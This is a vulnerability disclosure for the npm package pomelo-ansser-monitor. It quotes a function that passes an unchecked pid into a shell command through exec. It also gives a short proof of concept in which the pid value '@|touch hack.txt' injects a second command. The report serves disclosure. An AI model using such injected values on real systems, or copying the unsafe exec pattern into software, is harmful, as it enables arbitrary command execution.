Vulnerability Author: YorkLee([email protected])
Vulnerable npm package: pomelo-ansser-monitor
Npm url: https://www.npmjs.com/package/pomelo-ansser-monitor
Github url: https://github.com/halfblood369/monitor
Vulnerable version: <= 3.0.0
Vulnerable file: lib/processMonitor.js
function getPsInfo(param, callback) {
if (process.platform === 'windows') return;
var pid = param.pid;
var cmd = "ps auxw | grep " + pid + " | grep -v 'grep'";
//var cmd = "ps auxw | grep -E '.+?\\s+" + pid + "\\s+'" ;
exec(cmd, function(err, output) {
if (!!err) {
if (err.code === 1) {
console.log('the content is null!');
} else {
console.error('getPsInfo failed! ' + err.stack);
}
callback(err, null);
return;
}
format(param, output, callback);
});
};
The vulnerability is in lib/processMonitor.js, line 28. cmd is not checked.
main.js:
const monitor = require("pomelo-ansser-monitor");
const param = {
pid: "@|touch hack.txt",
};
monitor.psmonitor.getPsInfo(param, (err, data) => {
console.log(data);
});
Payload located in param.pid can execute almost all commands.
Environment: Ubuntu2204
npm i pomelo-ansser-monitor
npm start